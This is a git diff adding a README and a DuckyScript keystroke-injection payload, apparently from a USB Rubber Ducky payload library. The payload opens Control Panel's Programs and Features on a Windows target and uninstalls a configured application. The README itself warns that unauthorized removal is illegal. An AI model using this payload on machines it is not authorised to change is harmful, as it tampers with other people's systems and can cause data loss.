diff --git a/payloads/library/execution/Uninstall_A_Specific_App_On_Windows_Through_Control_Panel/README.md b/payloads/library/execution/Uninstall_A_Specific_App_On_Windows_Through_Control_Panel/README.md new file mode 100644 index 0000000..826bc0c --- /dev/null +++ b/payloads/library/execution/Uninstall_A_Specific_App_On_Windows_Through_Control_Panel/README.md @@ -0,0 +1,53 @@ +# Uninstall A Specific App On Windows Through Control Panel + +This script can be used to uninstall a specific app on a Windows System. + +**Category**: Execution + +## Description + +This script can be used to uninstall a specific app on a Windows System. + +The script opens the research app and go to `Uninstall or change a program` page using the default path `Control Panel\Programs\Programs and Features`, then go to the search bar and write the app name, then got on the app, press space to select and enter to uninstall it. + +When uninstalling an application through the Windows Control Panel, it may not always be enough, especially for complex programs like antivirus software. In such cases, specific uninstaller applications are often required to ensure the complete removal of all components and avoid leaving behind residual files or registry entries. While most standard applications can be successfully uninstalled through the Control Panel, complex or security-related programs may benefit from using specific uninstaller applications for a more thorough and complete removal and, in that cases, this script doesn't work. + +**Unauthorized removal of an application is considered a crime** and can result in severe consequences. Tampering with system files without permission violates cybersecurity laws and can lead to legal penalties. + +In addition to legal implications, **unauthorized removal of an application can also pose permanent risks to files and system functionality**. Applications are designed to work within a specific environment, and sudden or improper removal can cause instability, errors, and permanent data loss. + +## Dependencies + +* Set the exact name of the application as it appears within the control panel. Do not assume that just because an application is known by a certain name then it will have exactly that name, e.g. `Firefox` shows up again as `Mozilla Firefox (x64 en)` + + ```DuckyScript + DEFINE #APP_NAME example + ``` + +## Credits + +

Aleff :octocat:

+
+ + + + + + +
+ + + +
Github +
+ + + +
Instagram +
+ + + +
Discord +
+
diff --git a/payloads/library/execution/Uninstall_A_Specific_App_On_Windows_Through_Control_Panel/payload.txt b/payloads/library/execution/Uninstall_A_Specific_App_On_Windows_Through_Control_Panel/payload.txt new file mode 100644 index 0000000..67f6dbd --- /dev/null +++ b/payloads/library/execution/Uninstall_A_Specific_App_On_Windows_Through_Control_Panel/payload.txt @@ -0,0 +1,75 @@ +REM ############################################################################## +REM # | +REM # Title : Uninstall A Specific App On Windows Through Control Panel | +REM # Author : Aleff | +REM # Version : 1.0 | +REM # Category : Execution | +REM # Target : Windows 10/11 | +REM # | +REM ############################################################################## + +REM Requirements: +REM - The application you want to uninstall must be installed on the target (?obvious right? ^^) + +REM Note: +REM - Payload tested on Windows 11 Eng + +REM Set the exact name of the application as it appears within the control panel. Do not assume that just because an application is known by a certain name then it will have exactly that name, e.g. `Firefox` shows up again as `Mozilla Firefox (x64 en)` +DEFINE #APP_NAME example + + +REM Open Windows research +DELAY 2000 +GUI +DELAY 1000 + +REM Search and opern explorer app +STRING explorer +ENTER +DELAY 1000 + +REM Goto search bar and open "Uninstall or change a program" page +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +ENTER +DELAY 500 +STRING Control Panel\Programs\Programs and Features +ENTER +DELAY 1500 + +REM Goto search bar and search the app +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +STRING #APP_NAME +DELAY 500 + +REM Select the app and click on it +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +SPACE +DELAY 500 +ENTER +DELAY 500 +ENTER +DELAY 2000 +ALT F4